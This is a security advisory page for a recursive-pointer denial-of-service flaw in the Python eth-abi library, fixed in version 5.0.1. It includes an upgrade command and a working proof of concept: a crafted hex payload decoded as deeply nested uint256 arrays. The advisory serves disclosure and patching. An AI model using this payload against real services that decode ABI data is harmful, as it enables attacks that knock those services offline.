VDB
Sign up
MEDIUM

GHSA-3qwc-47jf-5rf7

eth-abi is vulnerable to recursive DoS

Quick fix

GHSA-3qwc-47jf-5rf7 — eth-abi: upgrade to the fixed version with the command below.

pip install --upgrade 'eth-abi>=5.0.1'

Details

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

```py from eth_abi import decode

payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t #decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024))) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/eth-abi
Introduced in: 0Fixed in: 5.0.1
Fixpip install --upgrade 'eth-abi>=5.0.1'

References